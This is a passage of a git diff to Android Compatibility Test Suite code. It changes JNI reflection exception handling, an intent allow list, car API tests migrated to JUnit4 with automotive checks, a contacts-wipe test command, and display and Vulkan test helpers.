+    // GetFieldID could have thrown either NoSuchFieldError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedField(klass, fid, /* static */ false);
@@ -62,7 +63,8 @@
   ScopedUtfChars utf_type(env, type);
   jfieldID fid = env->GetStaticFieldID(klass, utf_name.c_str(), utf_type.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetStaticFieldID could have thrown either NoSuchFieldError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedField(klass, fid, /* static */ true);
@@ -75,7 +77,8 @@
   ScopedUtfChars utf_signature(env, signature);
   jmethodID mid = env->GetMethodID(klass, utf_name.c_str(), utf_signature.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetMethodID could have thrown either NoSuchMethodError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedMethod(klass, mid, /* static */ false);
@@ -88,7 +91,8 @@
   ScopedUtfChars utf_signature(env, signature);
   jmethodID mid = env->GetStaticMethodID(klass, utf_name.c_str(), utf_signature.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetStaticMethodID could have thrown either NoSuchMethodError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedMethod(klass, mid, /* static */ true);
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 934d60a..10b4834 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -25,6 +25,11 @@
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
     Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
          Will be removed after v17 of CS.apk is released.
+    Bug: 117590943 android.intent.action.View
+         Fixed in GMSCore v14.7.68.
+    Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
+    //new corrected intent and the old intent in P.
+    //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -37,5 +42,7 @@
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
       <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
+      <value>android.intent.action.View</value>
+      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/src/android/signature/cts/DexMemberChecker.java b/tests/signature/src/android/signature/cts/DexMemberChecker.java
index 528e868..1efdbad 100644
--- a/tests/signature/src/android/signature/cts/DexMemberChecker.java
+++ b/tests/signature/src/android/signature/cts/DexMemberChecker.java
@@ -16,6 +16,7 @@
 
 package android.signature.cts;
 
+import android.util.Log;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Executable;
 import java.lang.reflect.Field;
@@ -24,6 +25,7 @@
 import java.util.List;
 
 public class DexMemberChecker {
+    public static final String TAG = "DexMemberChecker";
 
     public interface Observer {
         void classAccessible(boolean accessible, DexMember member);
@@ -85,17 +87,39 @@
             observer.fieldAccessibleViaReflection(
                     hasMatchingField_Reflection(klass, field),
                     field);
-            observer.fieldAccessibleViaJni(
-                    hasMatchingField_JNI(klass, field),
-                    field);
+            try {
+                observer.fieldAccessibleViaJni(
+                        hasMatchingField_JNI(klass, field),
+                        field);
+            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
+                if ((e instanceof NoClassDefFoundError)
+                        && !(e.getCause() instanceof ExceptionInInitializerError)
+                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                    throw e;
+                }
+
+                // Could not initialize the class. Skip JNI test.
+                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+            }
         } else if (dexMember instanceof DexMethod) {
             DexMethod method = (DexMethod) dexMember;
             observer.methodAccessibleViaReflection(
                     hasMatchingMethod_Reflection(klass, method),
                     method);
-            observer.methodAccessibleViaJni(
-                    hasMatchingMethod_JNI(klass, method),
-                    method);
+            try {
+                observer.methodAccessibleViaJni(
+                        hasMatchingMethod_JNI(klass, method),
+                        method);
+            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
+                if ((e instanceof NoClassDefFoundError)
+                        && !(e.getCause() instanceof ExceptionInInitializerError)
+                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                    throw e;
+                }
+
+                // Could not initialize the class. Skip JNI test.
+                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+            }
         } else {
             throw new IllegalStateException("Unexpected type of dex member");
         }
@@ -134,10 +158,25 @@
     }
 
     private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField) {
-        Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
-        Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
-        return (ifield != null && ifield.getDeclaringClass() == klass) ||
-               (sfield != null && sfield.getDeclaringClass() == klass);
+        try {
+            Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (ifield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        try {
+            Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (sfield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        return false;
     }
 
     private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod) {
@@ -163,11 +202,29 @@
     }
 
     private static boolean hasMatchingMethod_JNI(Class<?> klass, DexMethod dexMethod) {
-        Executable imethod = getMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
-        Executable smethod = dexMethod.isConstructor() ? null :
-             getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
-        return (imethod != null && imethod.getDeclaringClass() == klass) ||
-               (smethod != null && smethod.getDeclaringClass() == klass);
+        try {
+            Executable imethod = getMethod_JNI(
+                klass, dexMethod.getName(), dexMethod.getDexSignature());
+            if (imethod.getDeclaringClass() == klass) {
+                return true;
+            }
+        } catch (NoSuchMethodError e) {
+            // Not found.
+        }
+
+        if (!dexMethod.isConstructor()) {
+            try {
+                Executable smethod =
+                    getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
+                if (smethod.getDeclaringClass() == klass) {
+                    return true;
+                }
+            } catch (NoSuchMethodError e) {
+                // Not found.
+            }
+        }
+
+        return false;
     }
 
     private static native Field getField_JNI(Class<?> klass, String name, String type);
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 7310085..049a8a6 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-test \
+	compatibility-device-util \
+	ctstestrunner
 
 LOCAL_JAVA_LIBRARIES := android.car android.test.base.stubs
 
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 984d896..76e2e3c 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -17,6 +17,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.car.cts">
     <uses-feature android:name="android.hardware.type.automotive" />
+    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
+    <uses-permission android:name="android.car.permission.CAR_INFO" />
+
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index c931169..558e7be 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -23,4 +23,5 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.car.cts" />
     </test>
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.CarModuleController"/>
 </configuration>
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index d982c1b..7cf6a73 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -16,18 +16,31 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.After;
 
-public class CarApiTestBase extends AndroidTestCase {
+public abstract class CarApiTestBase {
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
     private Car mCar;
@@ -39,18 +52,21 @@
         assertTrue(Looper.getMainLooper().isCurrentThread());
     }
 
-    @Override
     protected void setUp() throws Exception {
-        super.setUp();
-        mCar = Car.createCar(getContext(), mConnectionListener, null);
+        assumeTrue(FeatureUtil.isAutomotive());
+
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mCar = Car.createCar(context, mConnectionListener, null);
         mCar.connect();
         mConnectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mCar.disconnect();
+    @After
+    public void disconnectCar() throws Exception {
+        if (mCar != null) {
+            mCar.disconnect();
+        }
     }
 
     protected synchronized Car getCar() {
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index 2dd0a81..910819d 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -15,30 +15,44 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
 
 import android.car.Car;
 import android.car.CarAppFocusManager;
+import android.content.Context;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
+
 import android.util.Log;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.After;
 import org.junit.Assert;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
     private CarAppFocusManager mManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mManager = (CarAppFocusManager) getCar().getCarManager(Car.APP_FOCUS_SERVICE);
         assertNotNull(mManager);
@@ -57,6 +71,7 @@
 
     }
 
+    @Test
     public void testSetActiveNullListener() throws Exception {
         try {
             mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, null);
@@ -66,6 +81,7 @@
         }
     }
 
+    @Test
     public void testRegisterNull() throws Exception {
         try {
             mManager.addFocusListener(null, 0);
@@ -75,6 +91,7 @@
         }
     }
 
+    @Test
     public void testRegisterUnregister() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
@@ -84,10 +101,14 @@
         mManager.removeFocusListener(listener2);
     }
 
+    @Test
     public void testFocusChange() throws Exception {
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+
         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener, null);
+        Car car2 = Car.createCar(context, connectionListener, null);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -216,10 +237,13 @@
         manager2.removeFocusListener(change2);
     }
 
+    @Test
     public void testFilter() throws Exception {
         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener);
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        Car car2 = Car.createCar(context, connectionListener);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -274,6 +298,7 @@
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
     }
 
+    @Test
     public void testMultipleChangeListenersPerManager() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..51cd291 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -15,29 +15,38 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.car.Car;
 import android.car.CarInfoManager;
 import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarInfoManagerTest extends CarApiTestBase {
 
     private CarInfoManager mCarInfoManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarInfoManager = (CarInfoManager) getCar().getCarManager(Car.INFO_SERVICE);
     }
 
+    @Test
     public void testVehicleId() throws Exception {
         assertNotNull(mCarInfoManager.getVehicleId());
     }
 
+    @Test
     public void testNullables() throws Exception {
         // no guarantee of existence. just call and check if it throws exception.
         mCarInfoManager.getManufacturer();
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 4ba2cbf..0c3aebc 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -15,20 +15,35 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
 import java.util.List;
 
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarPackageManagerTest extends CarApiTestBase {
 
     private CarPackageManager mCarPm;
@@ -37,14 +52,14 @@
     /** Name of the meta-data attribute for the automotive application XML resource */
     private static final String METADATA_ATTRIBUTE = "android.car.application";
 
-
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarPm = (CarPackageManager) getCar().getCarManager(Car.PACKAGE_SERVICE);
     }
 
-   public void testActivityDistractionOptimized() throws Exception {
+    @Test
+    public void testActivityDistractionOptimized() throws Exception {
        assertFalse(mCarPm.isActivityDistractionOptimized("com.basic.package", "DummyActivity"));
        // Real system activity is not allowed as well.
        assertFalse(mCarPm.isActivityDistractionOptimized("com.android.phone", "CallActivity"));
@@ -69,8 +84,10 @@
        }
    }
 
+    @Test
     public void testSystemActivitiesAllowed() throws CarNotConnectedException {
-        List<PackageInfo> packages = getContext().getPackageManager().getInstalledPackages(
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        List<PackageInfo> packages = context.getPackageManager().getInstalledPackages(
                 PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
 
         for (PackageInfo info : packages) {
@@ -95,6 +112,8 @@
         }
     }
 
+    @Test
+    @Ignore // Enable when b/120125891 is fixed
     public void testServiceDistractionOptimized() throws Exception {
         assertFalse(mCarPm.isServiceDistractionOptimized("com.basic.package", ""));
         assertTrue(mCarPm.isServiceDistractionOptimized("com.android.settings", "Any"));
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index 21358a6..3b9d8eb 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -16,30 +16,50 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertNotNull;
+
 import android.car.Car;
 import android.car.hardware.CarSensorEvent;
 import android.car.hardware.CarSensorManager;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.stream.IntStream;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarSensorManagerTest extends CarApiTestBase {
 
-    private CarSensorManager mCarSensorManager;
+    private int[] mSupportedSensors;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
-        mCarSensorManager = (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
+        CarSensorManager carSensorManager =
+                (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
+        mSupportedSensors = carSensorManager.getSupportedSensors();
+        assertNotNull(mSupportedSensors);
     }
 
+    @CddTest(requirement="2.5.1")
+    @Test
+    @Ignore // Enable when b/120125891 is fixed
     public void testRequiredSensorsForDrivingState() throws Exception {
-        int[] supportedSensors = mCarSensorManager.getSupportedSensors();
-        assertNotNull(supportedSensors);
         boolean foundSpeed = false;
         boolean foundGear = false;
-        for (int sensor: supportedSensors) {
+        for (int sensor: mSupportedSensors) {
             if (sensor == CarSensorManager.SENSOR_TYPE_CAR_SPEED) {
                 foundSpeed = true;
             } else if ( sensor == CarSensorManager.SENSOR_TYPE_GEAR) {
@@ -51,4 +71,12 @@
         }
         assertTrue(foundGear && foundSpeed);
     }
+
+    @CddTest(requirement="2.5.1")
+    @Test
+    public void testMustSupportNightSensor() {
+        assertTrue("Must support SENSOR_TYPE_NIGHT",
+                IntStream.of(mSupportedSensors)
+                        .anyMatch(x -> x == CarSensorManager.SENSOR_TYPE_NIGHT));
+    }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..e406008 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -15,30 +15,53 @@
  */
 package android.car.cts;
 
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
-public class CarTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CarTest {
 
     private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
 
     private Car mCar;
     private DefaultServiceConnectionListener mServiceConnectionListener;
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
-        mCar = Car.createCar(getContext(), mServiceConnectionListener);
+        mCar = Car.createCar(
+            InstrumentationRegistry.getInstrumentation().getTargetContext(),
+                    mServiceConnectionListener);
         assertFalse(mCar.isConnected());
         assertFalse(mCar.isConnecting());
         mCar.connect();
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 904650f..4a14de9 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -15,18 +15,35 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.CarNotConnectedException;
 import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
-public class ExceptionsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ExceptionsTest {
     private static final String MESSAGE = "Oops!";
     private static final Exception CAUSE = new RuntimeException();
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testCarNotConnectedException() {
         CarNotConnectedException exception = new CarNotConnectedException();
         assertNull(exception.getMessage());
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
index 713e547..1981853 100644
--- a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -133,7 +133,7 @@
 
         final String result = concatResult(readAll(
                 InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                        "pm clear " + providerPackage)));
+                        "pm clear --user current " + providerPackage)));
         Log.i(TAG, "Result:" + result);
 
         assertEquals("Success", result);
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 951827d..960bed8 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit compatibility-device-util
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 144bdde..7ac5246 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,9 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.HashSet;
 import java.util.Set;
 
@@ -32,26 +35,35 @@
  */
 public class ConfigurationTest extends AndroidTestCase {
 
-    @Presubmit
-    public void testScreenConfiguration() {
+    private DisplayMetrics mMetrics;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
         WindowManager windowManager =
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
-        DisplayMetrics metrics = new DisplayMetrics();
-        display.getMetrics(metrics);
+        mMetrics = new DisplayMetrics();
+        display.getMetrics(mMetrics);
+    }
 
-        double xInches = (double) metrics.widthPixels / metrics.xdpi;
-        double yInches = (double) metrics.heightPixels / metrics.ydpi;
+    @Presubmit
+    public void testScreenConfiguration() {
+        double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
+        double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
         double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
         double minSize = 2.5d;
-        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (FeatureUtil.isWatch()) {
             // Watches have a different minimum diagonal.
             minSize = 1.0d;
+        } else if (FeatureUtil.isAutomotive()) {
+            // Cars have a different minimum diagonal.
+            minSize = 6.0d;
         }
         assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
                 diagonalInches >= minSize);
 
-        double density = 160.0d * metrics.density;
+        double density = 160.0d * mMetrics.density;
         assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
 
         Set<Integer> allowedDensities = new HashSet<Integer>();
@@ -72,10 +84,22 @@
         allowedDensities.add(DisplayMetrics.DENSITY_560);
         allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
         assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
-                + allowedDensities, allowedDensities.contains(metrics.densityDpi));
+                + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
 
-        assertEquals(metrics.density,
-                (float) metrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
+        assertEquals(mMetrics.density,
+                (float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
                 0.5f / DisplayMetrics.DENSITY_DEFAULT);
     }
+
+    @CddTest(requirement="2.5.1")
+    public void testAutomotiveMinimumScreenSize() {
+        if (!FeatureUtil.isAutomotive()) {
+            return;
+        }
+        float dpHeight = mMetrics.heightPixels / mMetrics.density;
+        float dpWidth = mMetrics.widthPixels / mMetrics.density;
+
+        assertTrue("Height must be >= 480dp, found: " + dpHeight, dpHeight >= 480);
+        assertTrue("Width must be >= 750dp, found: " + dpWidth, dpWidth >= 750);
+    }
 }
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index 7019ea4..beaa315 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -246,7 +246,7 @@
     }
 }
 
-int32_t SwapchainInfo::init(bool setPreTransform) {
+int32_t SwapchainInfo::init(bool setPreTransform, int* outPreTransformHint) {
     VkSurfaceCapabilitiesKHR surfaceCapabilities;
     VK_CALL(vkGetPhysicalDeviceSurfaceCapabilitiesKHR(mDeviceInfo->gpu(), mDeviceInfo->surface(),
                                                       &surfaceCapabilities));
@@ -297,6 +297,10 @@
         std::swap(mDisplaySize.width, mDisplaySize.height);
     }
 
+    if (outPreTransformHint) {
+        *outPreTransformHint = preTransform;
+    }
+
     const uint32_t queueFamilyIndex = mDeviceInfo->queueFamilyIndex();
     const VkSwapchainCreateInfoKHR swapchainCreateInfo = {
             .sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
index f876aad..21174b4 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
@@ -54,7 +54,7 @@
 public:
     SwapchainInfo(const DeviceInfo* const deviceInfo);
     ~SwapchainInfo();
-    int32_t init(bool setPreTransform);
+    int32_t init(bool setPreTransform, int* outPreTransformHint);
     VkFormat format() const { return mFormat; }
     VkExtent2D displaySize() const { return mDisplaySize; }
     VkSwapchainKHR swapchain() const { return mSwapchain; }
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
index c9ed883..6c90941 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
